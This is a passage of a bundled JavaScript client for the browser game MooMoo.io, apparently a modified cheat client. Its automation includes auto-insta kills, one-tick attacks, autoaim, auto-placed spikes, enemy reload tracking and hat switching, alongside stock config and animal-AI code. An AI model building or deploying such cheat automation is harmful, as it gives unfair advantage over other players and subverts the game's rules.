                                    place(player.items[4], point);
                                }
                            } else {
                                if(fgd(nEy, player) <= 120){
                                    let fromEdge = 50 - Math.hypot(nEy[1] - element.x, nEy[2] - element.y),
                                        fromCenter = Math.atan2(nEy[2] - element.y, nEy[1] - element.x),
                                        cosY = Math.cos(fromCenter) * fromEdge + 10,
                                        cosX = Math.sin(fromCenter) * fromEdge + 10,
                                        rad = Math.atan2(cosY - player.y2, cosX - player.x2);
                                    for(let i = 0; i < 24; i++){
                                        let an1 = i * 3 * Math.cos(i + rad) / 180 * Math.PI + nEA, an2 = i * 3 * Math.sin(i + rad) / 180 * Math.PI + nEA;
                                        place(player.items[2], an1);
                                        place(player.items[2], an2);
                                        io.send("2", getAttackDir());
                                    }
                                }

                            }
                            place(player.items[4], nEA);
                            for (let i=nEA-Math.PI/3+ Math.PI; i<nEA+Math.PI/3+Math.PI; i+=Math.PI/18 + Math.PI){
                                place(player.items[2], i);
                            }
                        } else if (fgd(nEy, player) < 250) {
                            place(player.items[4], nEA);
                        }
                        if(nEy.length && fgd(nEy, player) < 800){
                            if(nEy.length && fgd(nEy, player) < 300){
                                for (let i=nEA-Math.PI/3+ Math.PI; i<nEA+Math.PI/3+Math.PI; i+=Math.PI/18 + Math.PI){
                                    place(player.items[2], i);
                                }

                            }

                            for (let i=0; i<2*Math.PI; i+=Math.PI/9){
                                place(player.items[4], i);
                            }


                        }
                    }
                }
                function checkInHitRange(enemies){
                    tracker.inRange = []
                    if(enemies.length){
                        for(let i = 0; i < enemies.length; i++){
                            let distance = fgd(enemies[i], player)
                            let weapon
                            if(primaryWeapons[enemies[i][0]] == undefined){
                                weapon = 5
                            } else {
                                weapon = primaryWeapons[enemies[i][0]]
                            }
                            if(items.weapons[weapon].range){
                                let canHit = items.weapons[weapon].range + 80 - distance >= 0
                                if(canHit){
                                    tracker.inRange.push(enemies[i])
                                }
                            }
                        }
                    }
                }
                function checkIfInTrap(){
                    tracker.lastTrapStatus = tracker.intrap
                    let nearestBuilding = gameObjects.sort((a,b)=>Math.hypot(player.y-a.y,player.x-a.x) - Math.hypot(player.y-b.y,player.x-b.x))[0]
                    if(nearestBuilding.name == "pit trap" && fgdo(nearestBuilding, player) < 50 && nearestBuilding.active == !0 && !(player.sid == nearestBuilding.owner.sid || isAlly(nearestBuilding.owner.sid))){
                        setAutobreaker(nearestBuilding.x, nearestBuilding.y, nearestBuilding.sid)
                        tracker.intrap = true
                    } else {
                        tracker.intrap = false
                        sendAtckState()
                        if(tracker.lastTrapStatus == true){
                            storeEquip(6)
                            if(tracker.emp){
                                heal()
                                tracker.emp = false
                            }
                            tracker.trapSoldier = true
                            addFunction(() => {
                                tracker.trapSoldier = false
                            },1)
                        }
                    }
                }
                function oneTick(){
                    io.send("33", nEA)
                    tracker.insta = true
                    autoaim(true)
                    storeEquip(53)
                    storeEquip(0, 1)
                    selectToBuild(player.weapons[0], !0)
                    addFunction(() => {
                        storeEquip(7)
                        io.send("c", 1, getAttackDir())
                        io.send("c", 0, getAttackDir())
                        addFunction(() => {
                            tracker.insta = false
                            tracker.otMove2 = false
                            autoaim(false)
                            defaultHat()
                        },1)
                    },1)

                }
                function checkOT(enemies){
                    var inotrange = []
                    for(let i = 0; i < enemies.length; i++){
                        if(primaryWeapons[enemies[i][0]] == 5 && primaryWeaponVariant[enemies[i][0]] >= 2 && primaryReload[enemies[i][0]] == 1){
                            if(fgd(enemies[i], player) >= 180 && fgd(enemies[i], player) < 230){
                                inotrange.push(enemies[i])
                            }
                        }
                    }
                    if(inotrange.length){
                        tracker.otSoldier = true
                    } else {
                        tracker.otSoldier = false
                    }
                }
                function checkIfNewBuild(a){
                    for(let i = 0; i < tracker.lastBuildings.length; i++){
                        if(tracker.lastBuildings[i].sid == a.sid){

                            return undefined
                        }
                    }
                    return a
                }
                function iRanOutOfNameIdeas(building){
                    if(building == "poison spikes" || building == "spinning spikes"){
                        return true
                    } else {
                        return false
                    }
                }
                function oneTickRange(distance){
                    let inRangeDist = Math.abs(distance - 239)
                    if(inRangeDist < 40 && nEy.length && player.pr && player.tr && nEy[9] != 6 && nEy[9] != 22){
                        if(inRangeDist < 5){
                            tracker.move2 = true
                            return true
                        } else {
                            storeEquip(40, inRangeDist < 20 ? 0:11)
                            let lastMove = tracker.otMove
                            tracker.otMove = distance > 239 ? nEA : nEA + Math.PI
                            io.send("33", tracker.otMove)
                            addFunction(() => {tracker.otMove = lastMove},1)
                            tracker.move2 = true
                            return false
                        }
                    } else {
                        tracker.move2 = false
                        return false
                    }
                }
                function spikeSort(building){
                    if(building.owner.sid){
                        spikeTypes[building.owner.sid] = building.name
                    }
                }

                function khkm(enemies){
                    tracker.lastBuildings = tracker.currentBuildings
                    tracker.currentBuildings = []
                    tracker.currentBuildings = gameObjects.filter(building => building.name == "spikes" || building.name == "greater spikes" || building.name == "poison spikes" || building.name == "spinning spikes")

                    let newBuildings = []
                    for(let i = 0; i < tracker.currentBuildings.length; i++){
                        let check = checkIfNewBuild(tracker.currentBuildings[i])
                        if(check == undefined){
                        } else {
                            newBuildings.push(check)
                        }
                    }
                    newBuildings.forEach(spikeSort)
                    for(let i = 0; i < enemies.length; i++){
                        if(secondaryWeapons[enemies[i][0]] == 10&& currentWeapon[enemies[i][0]] != 10){
                            if(iRanOutOfNameIdeas(spikeTypes[enemies[i][0]])){
                            } else {
                                secondaryWeapons[enemies[i][0]] = 15
                                secondaryReload[enemies[i][0]] = 1
                            }
                        }
                    }



                }


                // UPDATE PLAYER DATA: // n ti
                var nEy;
                var nEA;
                var nEs;
                var aP
                var time
                function updatePlayers(data) {

                    tC++;
                    nEs = [];
                    nEy = [];
                    nEA = 0;
                    aP = []
                    var tmpTime = Date.now();
                    for (var i = 0; i < players.length; ++i) {
                        players[i].forcePos = !players[i].visible;
                        players[i].visible = false;
                    }
                    for (var i = 0; i < data.length;) {
                        tmpObj = findPlayerBySID(data[i]);
                        if (tmpObj) {
                            tmpObj.t1 = (tmpObj.t2===undefined)?tmpTime:tmpObj.t2;
                            tmpObj.t2 = tmpTime;
                            tmpObj.x1 = tmpObj.x;
                            tmpObj.y1 = tmpObj.y;
                            tmpObj.x2 = data[i + 1];
                            tmpObj.y2 = data[i + 2];
                            tmpObj.d1 = (tmpObj.d2===undefined)?data[i + 3]:tmpObj.d2;
                            tmpObj.d2 = data[i + 3];
                            tmpObj.dt = 0;
                            tmpObj.buildIndex = data[i + 4];
                            tmpObj.weaponIndex = data[i + 5];
                            tmpObj.weaponVariant = data[i + 6];
                            tmpObj.team = data[i + 7];
                            tmpObj.isLeader = data[i + 8];
                            tmpObj.skinIndex = data[i + 9];
                            tmpObj.tailIndex = data[i + 10];
                            tmpObj.iconIndex = data[i + 11];
                            tmpObj.zIndex = data[i + 12];
                            tmpObj.visible = true;
                            tmpObj == player ? null : aP.push(data.slice(i, i + 13));
                            (tmpObj == player || tmpObj.team && tmpObj.team == player.team) ? doWeaponStuff(tmpObj) : nEs.push(data.slice(i, i + 13))
                        }
                        i+=13;
                    }
                    tracker.lastNearestDist = tracker.nearestDist
                    nEs.length && (nEs = nEs.sort((a,b) => fgd(a, player) - fgd(b, player)), nEy = nEs[0]);
                    checkInHitRange(nEs)
                    checkOT(nEs)
                    nEs.forEach(checkReload)
                    tracker.lastPos = nEs
                    nEA = (nEy.length ? Math.atan2(nEy[2]-player.y2, nEy[1]-player.x2) : undefined);
                    tracker.nearestDist = fgd(nEy, player)

                    for(let i = 0;i < nEs.length;i++){
                        doWeaponStuff(findPlayerBySID(nEs[i][0]));
                    }
                    if(nEy.length){
                        tracker.maxScreenWidth = Math.min(2220, fgd(nEy, player)*3)
                        tracker.maxScreenHeight = Math.min(1920, fgd(nEy, player)*4)


                    } else {
                        tracker.maxScreenWidth = 2320
                        tracker.maxScreenHeight = 1920

                    }
                    khkm(nEs)
                    let sources = []

                    for(let i = 0; i < tracker.thisTickDamage.length; i++){
                        sources.push(identifyDamage(tracker.thisTickDamage[i]))
                    }

                    manageTick()

                    healing(sources, tracker.thisTickDamage)
                    tracker.thisTickDamage = []
                    if (queueTick[tC]) {
                        queueTick[tC].forEach(e => e());
                    }

                }

                function manageTick(){
                    if(tracker.allSyncPot.length > 1 && !settings.ae){
                        io.send("ch", "sync detect");
                        heal()
                        storeEquip(6)
                        storeEquip(11,1)
                        tracker.syncSoldier = true
                    } else {
                        tracker.syncSoldier = false
                    }
                    predictReload()
                    checkIfInTrap()




                    if(auI && !tracker.insta && !tracker.antibull){//if autoinsta(activates on r)
                        if(player.weapons[1] == 15
                           && ((nEy.length && fgd(nEy, player) < 179) || tracker.nearestDist !== tracker.lastNearestDist && tracker.lastNearestDist >= 185 && tracker.nearestDist < 185)
                           && (turretReload[player.sid] == 1 && primaryReload[player.sid] == 1 && secondaryReload[player.sid] == 1)){
                            if(tracker.nearestDist !== tracker.lastNearestDist && tracker.lastNearestDist >= 185 && tracker.nearestDist < 185){
                                insta("norm")
                            } else if(nEy[9] == 11 && nEy[10] == 21){
                                insta("reverse")
                            } else {
                                insta("norm")
                            }
                        } else if(player.weapons[1] == 10
                                  && (nEy.length && fgd(nEy, player) < 134)
                                  && (turretReload[player.sid] == 1 && primaryReload[player.sid] == 1 && secondaryReload[player.sid] == 1)
                                  && nEy[9] != 6
                                  && nEy[9] != 22){
                            insta("reverse")
                        }

                    }



                    if(tracker.insta){
                        tracker.antibull = false
                        //no messing with hats and/or anything else really
                        tracker.hitting = true
                    }else if(tracker.intrap
                             && !tracker.insta){//if in a trap
                        tracker.antibull = false
                        hitTrap(autobreaker.x,autobreaker.y)
                    } else if(tracker.combatclick){
                        tracker.antibull = false
                        if(tracker.combatclick == "bull"){
                            selectToBuild(player.weapons[0], !0)
                            if(primaryReload[player.sid] == 1){
                                selectToBuild(player.weapons[0], !0)
                                storeEquip(7)
                                storeEquip(0, 1)
                                tracker.hitting = true
                            } else {
                                selectToBuild(player.weapons[0], !0)
                                if(settings.ae){
                                    storeEquip(26)
                                    storeEquip(0, 1)
                                } else {
                                    otherHat()
                                }
                                tracker.hitting = false
                            }
                        } else if(tracker.combatclick == "tank"){
                            let a = (player.weapons[1] == 10 ? 10 : player.weapons[0]);
                            selectToBuild(a, !0);
                            tracker.hitTank = false
                            tracker.hitting = false
                            if((a == 10 ? secondaryReload[player.sid] : primaryReload[player.sid]) == 1){
                                storeEquip(40);
                                tracker.hitting = true
                                tracker.hitTank = false
                                io.send("c", 1, 1e300);
                                io.send("c", 0, 1e300);
                                autoaim(false)
                                tracker.hitTank = true
                            } else {
                                otherHat()
                                tracker.hitting = false
                                autoaim(false)
                            }
                            autoplace()
                        }
                    } else if(player.weapons[0] == 5 && (nEy.length) && oneTickRange(fgd(nEy, player)) && player.pr && player.tr && nEy[9] != 6 && nEy[9] != 22){
                        oneTick()
                    } else if(tracker.move2){
                        tracker.hitTank = false
                        autoplace()
                    } else if(settings.getruby){
                        tracker.antibull = false
                        storeEquip(40)
                        io.send("c", 1, 1e300);
                        io.send("c", 0, 1e300);
                        tracker.hitting = true
                    }else if(tracker.potentialNbl
                             &&!tracker.insta
                             && !tracker.antibull
                             && player.weapons[0] == 4
                             && player.weapons[1] == 15
                             && nEy[9] == 6
                             &&(nEy.length && fgd(nEy, player) < 179)
                             && (turretReload[player.sid] == 1 && primaryReload[player.sid] == 1 && secondaryReload[player.sid] == 1)){
                        tracker.hitTank = false
                        insta("nobull")
                        tracker.hitting = true
                    }else if((tracker.lastNearestDist > 180 && tracker.nearestDist < 180 || tracker.hitDetect.length == 1)&& !settings.ae && !tracker.insta && !tracker.syncSoldier){
                        tracker.hitTank = false
                        if(player.shameCount < 5){
                            tracker.antibull = true

                            storeEquip(11)
                            storeEquip(21,1)
                        } else {
                            storeEquip(6)
                            storeEquip(21,1)
                            tracker.antibull = false
                        }
                        autoplace()
                    }else {
                        tracker.hitTank = false
                        tracker.antibull = false
                        autoaim(false)
                        tracker.hitting = false
                        tracker.insta = false
                        otherHat()
                        if(settings.autoreload){
                            if(primaryReload[player.sid] != 1){
                                selectToBuild(player.weapons[0], !0)
                            } else if(secondaryReload[player.sid] != 1){
                                selectToBuild(player.weapons[1], !0)
                            }
                        }
                        if (atM
                            && (!player.itemCounts[3]
                                || fgdo(gameObjects.filter(args => args.owner && args.owner.sid === player.sid && args.pps).sort((a, b) => fgdo(a, player) - fgdo(b, player))[0], player) > 90)) {
                            let ang = Math.atan2(player.y1-player.y2, player.x1-player.x2)
                            let speed = 5
                            for(let i = 1; i < speed+1; i++){
                                setTimeout(() => {
                                    place(player.items[3], ang), place(player.items[3], ang + Math.PI / 1.8), place(player.items[3], ang - Math.PI / 1.8);
                                },((Date.now()-time)/speed * i) + (Date.now()-time)/speed)
                            }
                        }
                        autoplace()
                    }
                    time = Date.now()


                }
                function isAlly(sid){

                    tmpObj = findPlayerBySID(sid)
                    if(!tmpObj){
                        return
                    }
                    if(player.sid == sid){
                        return true
                    }else if(tmpObj.team){
                        return tmpObj.team === player.team ? true : false
                    } else {
                        return false
                    }

                }
                function fgd(a, b){
                    return Math.sqrt(Math.pow((b.y2-a[2]),2)+Math.pow((b.x2-a[1]),2));
                }
                function fgdo(a, b){
                    return Math.sqrt(Math.pow((b.y-a.y),2)+Math.pow((b.x-a.x),2));
                }
                function fgda(a, b){
                    return Math.sqrt(Math.pow((b[2]-a[2]),2)+Math.pow((b[2]-a[1]),2));
                }

                function doWeaponStuff(tmpObj){
                    if(tmpObj.skinIndex == 45){
                        tmpObj.shameCount = 8
                    }else
                        if(isNaN(tmpObj.shameCount)){
                            tmpObj.shameCount = 0
                        }
                    if(tmpObj.weaponIndex < 9){
                        if(tmpObj.weaponIndex == tmpObj.primary){
                            if(tmpObj.buildIndex == -1){
                                tmpObj.pr = primaryReload[tmpObj.sid];
                                tmpObj.sr = secondaryReload[tmpObj.sid];
                                primaryReload[tmpObj.sid] = Math.min(1, primaryReload[tmpObj.sid] + 111/items.weapons[tmpObj.primary].speed);

                            }else{
                                tmpObj.pr = primaryReload[tmpObj.sid];
                            }
                        }else{
                            tmpObj.primary = tmpObj.weaponIndex;
                        }
                    }else if(tmpObj.weaponIndex > 8){
                        if(tmpObj.weaponIndex == tmpObj.secondary){
                            if(tmpObj.buildIndex == -1){
                                tmpObj.sr = secondaryReload[tmpObj.sid];
                                tmpObj.pr = primaryReload[tmpObj.sid];
                                secondaryReload[tmpObj.sid] = Math.min(1, secondaryReload[tmpObj.sid] + 111/items.weapons[tmpObj.secondary].speed);
                            }else{
                                tmpObj.sr = secondaryReload[tmpObj.sid];
                            }
                        }else{
                            tmpObj.secondary = tmpObj.weaponIndex;
                        }
                    }else{
                        tmpObj.sr = secondaryReload[tmpObj.sid];
                        tmpObj.pr = primaryReload[tmpObj.sid];
                    }
                    tmpObj.tr = turretReload[tmpObj.sid];
                    tmpObj.sid == player.sid ? turretReload[tmpObj.sid] = Math.min(1, turretReload[tmpObj.sid]+0.0444):turretReload[tmpObj.sid] = Math.min(1, turretReload[tmpObj.sid]+0.0555);


                }
                function otherHat(){
                    let buildings = gameObjects.sort((a,b)=>Math.hypot(player.y-a.y,player.x-a.x) - Math.hypot(player.y-b.y,player.x-b.x))
                    let turrets = buildings.filter(obj => obj.name == "turret" && fgdo(obj, player) < 600)
                    if(settings.ae){
                        defaultHat()
                    } else if(turrets.length){
                        storeEquip(22)
                        storeEquip(11, 1)

                    } else if(tracker.hitDetect.length){//(kinda detecting a normal hit)
                        storeEquip(26)
                        storeEquip(11,1)
                    } else if(player.y >= 6850 && player.y <= 7550){
                        storeEquip(31)
                        storeEquip(11, 1)
                    } else if((player.shameCount > 0 && !tracker.inRange.length) || player.shameCount > 4){
                        storeEquip(7)
                        storeEquip(11, 1)
                    } else if(tracker.inRange.length == 1){
                        storeEquip(6)
                        storeEquip(11,1)
                    } else if(tracker.inRange.length){
                        storeEquip(26)
                        storeEquip(11,1)
                    }else if(tracker.moveDir == undefined || tracker.inTrap){
                        storeEquip(22)
                        storeEquip(11, 1)
                    } else if(player.y <= 2400){
                        storeEquip(15)
                        storeEquip(11, 1)
                    } else {
                        storeEquip(12)
                        storeEquip(11, 1)
                    }
                }
                function defaultHat(){
                    let buildings = gameObjects.sort((a,b)=>Math.hypot(player.y-a.y,player.x-a.x) - Math.hypot(player.y-b.y,player.x-b.x))
                    let turrets = buildings.filter(obj => obj.name == "turret" && fgdo(obj, player) < 600)
                    if(player.y >= 6850 && player.y <= 7550){
                        storeEquip(31)
                        storeEquip(11, 1)
                    } else if(turrets.length){
                        storeEquip(22)
                        storeEquip(11, 1)
                    } else if(tracker.inRange.length){
                        storeEquip(6)
                        storeEquip(11,1)
                    } else if(player.y <= 2400){
                        storeEquip(15)
                        storeEquip(11, 1)
                    } else {
                        storeEquip(12)
                        storeEquip(11, 1)
                    }
                }
                // FIND OBJECTS BY ID/SID:
                function findPlayerByID(id) {
                    for (var i = 0; i < players.length; ++i) {
                        if (players[i].id == id) {
                            return players[i];
                        }
                    } return null;
                }
                function findPlayerBySID(sid) {
                    for (var i = 0; i < players.length; ++i) {
                        if (players[i].sid == sid) {
                            return players[i];
                        }
                    } return null;
                }
                function findAIBySID(sid) {
                    for (var i = 0; i < ais.length; ++i) {
                        if (ais[i].sid == sid) {
                            return ais[i];
                        }
                    } return null;
                }
                function findObjectBySid(sid) {
                    for (var i = 0; i < gameObjects.length; ++i) {
                        if (gameObjects[i].sid == sid) {
                            return gameObjects[i];
                        }
                    } return null;
                }

                // PING:
                var lastPing = -1;
                function pingSocketResponse() {
                    var pingTime = Date.now() - lastPing;
                    window.pingTime = pingTime;
                    pingDisplay.innerText = "Ping: " + pingTime + " ms"
                }
                function pingSocket() {
                    lastPing = Date.now();
                    io.send("pp");
                }

                // SERVER SHUTDOWN NOTICE:
                function serverShutdownNotice(countdown) {
                    if (countdown < 0) return;

                    var minutes = Math.floor(countdown / 60);
                    var seconds = countdown % 60;
                    seconds = ("0" + seconds).slice(-2);

                    shutdownDisplay.innerText = "Server restarting in " + minutes + ":" + seconds;
                    shutdownDisplay.hidden = false;
                }

                // UPDATE & ANIMATE:
                window.requestAnimFrame = (function() {
                    return window.requestAnimationFrame ||
                        window.webkitRequestAnimationFrame ||
                        window.mozRequestAnimationFrame ||
                        function(callback) {
                        window.setTimeout(callback, 1000 / 60);
                    };
                })();
                function doUpdate() {
                    now = Date.now();
                    delta = now - lastUpdate;
                    lastUpdate = now;
                    updateGame();
                    requestAnimFrame(doUpdate);
                }

                // START GAME:
                function startGame() {
                    bindEvents();
                    loadIcons();
                    loadingText.style.display = "none";
                    menuCardHolder.style.display = "block";
                    nameInput.value = getSavedVal("moo_name")||"";
                    prepareUI();
                }
                prepareMenuBackground();
                doUpdate();

                // OPEN LINK:
                function openLink(link) {
                    window.open(link, "_blank")
                }

                // EXPORT VALUES:
                window.openLink = openLink;
                window.aJoinReq = aJoinReq;
                window.follmoo = follmoo;
                window.kickFromClan = kickFromClan;
                window.sendJoin = sendJoin;
                window.leaveAlliance = leaveAlliance;
                window.createAlliance = createAlliance;
                window.storeBuy = storeBuy;
                window.storeEquip = storeEquip;
                window.showItemInfo = showItemInfo;
                window.selectSkinColor = selectSkinColor;
                window.changeStoreIndex = changeStoreIndex;
                window.config = config;


                /***/ }),

            /***/ "./src/js/config.js":
            /*!**************************!*\
  !*** ./src/js/config.js ***!
  \**************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(process) {
                    // RENDER:
                    module.exports.maxScreenWidth = 1920;
                    module.exports.maxScreenHeight = 1080;

                    // SERVER:
                    module.exports.serverUpdateRate = 9;
                    module.exports.maxPlayers =  (process && process.argv.indexOf("--largeserver") != -1) ? 100 : 50;
                    module.exports.maxPlayersHard =  module.exports.maxPlayers + 10;
                    module.exports.collisionDepth = 6;
                    module.exports.minimapRate = 3000;

                    // COLLISIONS:
                    module.exports.colGrid = 10;

                    // CLIENT:
                    module.exports.clientSendRate = 5;

                    // UI:
                    module.exports.healthBarWidth = 50;
                    module.exports.healthBarPad = 4.5;
                    module.exports.iconPadding = 15;
                    module.exports.iconPad = 0.9;
                    module.exports.deathFadeout = 3000;
                    module.exports.crownIconScale = 60;
                    module.exports.crownPad = 35;

                    // CHAT:
                    module.exports.chatCountdown = 3000;
                    module.exports.chatCooldown = 500;

                    // SANDBOX:
                    module.exports.inSandbox = process && process.env.VULTR_SCHEME === "mm_exp";;

                    // PLAYER:
                    module.exports.maxAge = 100;
                    module.exports.gatherAngle = Math.PI/2.6;
                    module.exports.gatherWiggle = 10;
                    module.exports.hitReturnRatio = 0.25;
                    module.exports.hitAngle = Math.PI / 2;
                    module.exports.playerScale = 35;
                    module.exports.playerSpeed = 0.0016;
                    module.exports.playerDecel = 0.993;
                    module.exports.nameY = 34;

                    // CUSTOMIZATION:
                    module.exports.skinColors = ["#bf8f54", "#cbb091", "#896c4b",
                                                 "#fadadc", "#ececec", "#c37373", "#4c4c4c", "#ecaff7", "#738cc3",
                                                 "#8bc373"];

                    // ANIMALS:
                    module.exports.animalCount = 7;
                    module.exports.aiTurnRandom = 0.06;
                    module.exports.cowNames = ["Sid", "Steph", "Bmoe", "Romn", "Jononthecool", "Fiona", "Vince", "Nathan", "Nick", "Flappy", "Ronald", "Otis", "Pepe", "Mc Donald", "Theo", "Fabz", "Oliver", "Jeff", "Jimmy", "Helena", "Reaper",
                                               "Ben", "Alan", "Naomi", "XYZ", "Clever", "Jeremy", "Mike", "Destined", "Stallion", "Allison", "Meaty", "Sophia", "Vaja", "Joey", "Pendy", "Murdoch", "Theo", "Jared", "July", "Sonia", "Mel", "Dexter", "Quinn", "Milky"];

                    // WEAPONS:
                    module.exports.shieldAngle = Math.PI/3;
                    module.exports.weaponVariants = [{
                        id: 0,
                        src: "",
                        xp: 0,
                        val: 1
                    }, {
                        id: 1,
                        src: "_g",
                        xp: 3000,
                        val: 1.1
                    }, {
                        id: 2,
                        src: "_d",
                        xp: 7000,
                        val: 1.18
                    }, {
                        id: 3,
                        src: "_r",
                        poison: true,
                        xp: 12000,
                        val: 1.18
                    }];
                    module.exports.fetchVariant = function(player) {
                        var tmpXP = player.weaponXP[player.weaponIndex]||0;
                        for (var i = module.exports.weaponVariants.length - 1; i >= 0; --i) {
                            if (tmpXP >= module.exports.weaponVariants[i].xp)
                                return module.exports.weaponVariants[i];
                        }
                    };

                    // NATURE:
                    module.exports.resourceTypes = ["wood", "food", "stone", "points"];
                    module.exports.areaCount = 7;
                    module.exports.treesPerArea = 9;
                    module.exports.bushesPerArea = 3;
                    module.exports.totalRocks = 32;
                    module.exports.goldOres = 7;
                    module.exports.riverWidth = 724;
                    module.exports.riverPadding = 114;
                    module.exports.waterCurrent = 0.0011;
                    module.exports.waveSpeed = 0.0001;
                    module.exports.waveMax = 1.3;
                    module.exports.treeScales = [150, 160, 165, 175];
                    module.exports.bushScales = [80, 85, 95];
                    module.exports.rockScales = [80, 85, 90];

                    // BIOME DATA:
                    module.exports.snowBiomeTop = 2400;
                    module.exports.snowSpeed = 0.75;

                    // DATA:
                    module.exports.maxNameLength = 15;

                    // MAP:
                    module.exports.mapScale = 14400;
                    module.exports.mapPingScale = 40;
                    module.exports.mapPingTime = 2200;

                    /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../../node_modules/process/browser.js */ "./node_modules/process/browser.js")))

                /***/ }),

            /***/ "./src/js/data/ai.js":
            /*!***************************!*\
  !*** ./src/js/data/ai.js ***!
  \***************************/
            /*! no static exports found */
            /***/ (function(module, exports) {


                var PI2 = Math.PI * 2;
                module.exports = function(sid, objectManager, players, items, UTILS, config, scoreCallback, server) {
                    this.sid = sid;
                    this.mAC = 7;
                    this.isAI = true;
                    this.nameIndex = UTILS.randInt(0, config.cowNames.length-1);

                    // INIT:
                    this.init = function(x, y, dir, index, data) {
                        this.x = x;
                        this.y = y;
                        this.startX = data.fixedSpawn?x:null;
                        this.startY = data.fixedSpawn?y:null;
                        this.xVel = 0;
                        this.yVel = 0;
                        this.zIndex = 0;
                        this.dir = dir;
                        this.dirPlus = 0;
                        this.index = index;
                        this.src = data.src;
                        if (data.name) this.name = data.name;
                        this.weightM = data.weightM;
                        this.speed = data.speed;
                        this.killScore = data.killScore;
                        this.turnSpeed = data.turnSpeed;
                        this.scale = data.scale;
                        this.maxHealth = data.health;
                        this.leapForce = data.leapForce;
                        this.health = this.maxHealth;
                        this.chargePlayer = data.chargePlayer;
                        this.viewRange = data.viewRange;
                        this.drop = data.drop;
                        this.dmg = data.dmg;
                        this.hostile = data.hostile;
                        this.dontRun = data.dontRun;
                        this.hitRange = data.hitRange;
                        this.hitDelay = data.hitDelay;
                        this.hitScare = data.hitScare;
                        this.spriteMlt = data.spriteMlt;
                        this.nameScale = data.nameScale;
                        this.colDmg = data.colDmg;
                        this.noTrap = data.noTrap;
                        this.spawnDelay = data.spawnDelay;
                        this.hitWait = 0;
                        this.waitCount = 1000;
                        this.moveCount = 0;
                        this.targetDir = 0;
                        this.active = true;
                        this.alive = true;
                        this.runFrom = null;
                        this.chargeTarget = null;
                        this.dmgOverTime = {};
                    };

                    // UPDATE:
                    var timerCount = 0;
                    this.update = function(delta) {
                        if (this.active) {

                            // SPAWN DELAY:
                            if (this.spawnCounter) {
                                this.spawnCounter -= delta;
                                if (this.spawnCounter <= 0) {
                                    this.spawnCounter = 0;
                                    this.x = this.startX||UTILS.randInt(0, config.mapScale);
                                    this.y = this.startY||UTILS.randInt(0, config.mapScale);
                                }
                                return;
                            }

                            // REGENS AND AUTO:
                            timerCount -= delta;
                            if (timerCount <= 0) {
                                if (this.dmgOverTime.dmg) {
                                    this.changeHealth(-this.dmgOverTime.dmg, this.dmgOverTime.doer);
                                    this.dmgOverTime.time -= 1;
                                    if (this.dmgOverTime.time <= 0){
                                        this.dmgOverTime.dmg = 0;
                                    }
                                }
                                timerCount = 1000;
                            }

                            // BEHAVIOUR:
                            var charging = false;
                            var slowMlt = 1;
                            if (!this.zIndex && !this.lockMove && this.y >= (config.mapScale / 2) - (config.riverWidth / 2) &&
                                this.y <= (config.mapScale / 2) + (config.riverWidth / 2)) {
                                slowMlt = 0.33;
                                this.xVel += config.waterCurrent * delta;
                            }
                            if (this.lockMove) {
                                this.xVel = 0;
                                this.yVel = 0;
                            } else if (this.waitCount > 0) {
                                this.waitCount -= delta;
                                if (this.waitCount <= 0) {
                                    if (this.chargePlayer) {
                                        var tmpPlayer, bestDst, tmpDist;
                                        for (var i = 0; i < players.length; ++i) {
                                            if (players[i].alive && !(players[i].skin && players[i].skin.bullRepel)) {
                                                tmpDist = UTILS.getDistance(this.x, this.y, players[i].x, players[i].y);
                                                if (tmpDist <= this.viewRange && (!tmpPlayer || tmpDist < bestDst)) {
                                                    bestDst = tmpDist;
                                                    tmpPlayer = players[i];
                                                }
                                            }
                                        }
                                        if (tmpPlayer) {
                                            this.chargeTarget = tmpPlayer;
                                            this.moveCount = UTILS.randInt(8000, 12000);
                                        } else {
                                            this.moveCount = UTILS.randInt(1000, 2000);
                                            this.targetDir = UTILS.randFloat(-Math.PI, Math.PI);
                                        }
                                    } else {
                                        this.moveCount = UTILS.randInt(4000, 10000);
                                        this.targetDir = UTILS.randFloat(-Math.PI, Math.PI);
                                    }
                                }
                            } else if (this.moveCount > 0) {
                                var tmpSpd = this.speed * slowMlt;
                                if (this.runFrom && this.runFrom.active && !(this.runFrom.isPlayer && !this.runFrom.alive)) {
                                    this.targetDir = UTILS.getDirection(this.x, this.y, this.runFrom.x, this.runFrom.y);
                                    tmpSpd *= 1.42;
                                } else if (this.chargeTarget && this.chargeTarget.alive) {
                                    this.targetDir = UTILS.getDirection(this.chargeTarget.x, this.chargeTarget.y, this.x, this.y);
                                    tmpSpd *= 1.75;
                                    charging = true;
                                } if (this.hitWait) {
                                    tmpSpd *= 0.3;
                                }
                                if (this.dir != this.targetDir) {
                                    this.dir %= PI2;
                                    var netAngle = (this.dir - this.targetDir + PI2) % PI2;
                                    var amnt = Math.min(Math.abs(netAngle - PI2), netAngle, this.turnSpeed * delta);
                                    var sign = (netAngle - Math.PI)>=0?1:-1;
                                    this.dir += sign * amnt + PI2;
                                }
                                this.dir %= PI2;
                                this.xVel += (tmpSpd * delta) * Math.cos(this.dir);
                                this.yVel += (tmpSpd * delta) * Math.sin(this.dir);
                                this.moveCount -= delta;
                                if (this.moveCount <= 0) {
                                    this.runFrom = null;
                                    this.chargeTarget = null;
                                    this.waitCount = this.hostile?1500:UTILS.randInt(1500, 6000);
                                }
                            }

                            // OBJECT COLL:
                            this.zIndex = 0;
                            this.lockMove = false;
                            var tmpList;
                            var tmpSpeed = UTILS.getDistance(0, 0, this.xVel * delta, this.yVel * delta);
                            var depth = Math.min(4, Math.max(1, Math.round(tmpSpeed / 40)));
                            var tMlt = 1 / depth;
                            for (var i = 0; i < depth; ++i) {
                                if (this.xVel)
                                    this.x += (this.xVel * delta) * tMlt;
                                if (this.yVel)
                                    this.y += (this.yVel * delta) * tMlt;
                                tmpList = objectManager.getGridArrays(this.x, this.y, this.scale);
                                for (var x = 0; x < tmpList.length; ++x) {
                                    for (var y = 0; y < tmpList[x].length; ++y) {
                                        if (tmpList[x][y].active)
                                            objectManager.checkCollision(this, tmpList[x][y], tMlt);
                                    }
                                }
                            }

                            // HITTING:
                            var hitting = false;
                            if (this.hitWait > 0) {
                                this.hitWait -= delta;
                                if (this.hitWait <= 0) {
                                    hitting = true;
                                    this.hitWait = 0;
                                    if (this.leapForce && !UTILS.randInt(0, 2)) {
                                        this.xVel += this.leapForce * Math.cos(this.dir);
                                        this.yVel += this.leapForce * Math.sin(this.dir);
                                    }
                                    var tmpList = objectManager.getGridArrays(this.x, this.y, this.hitRange);
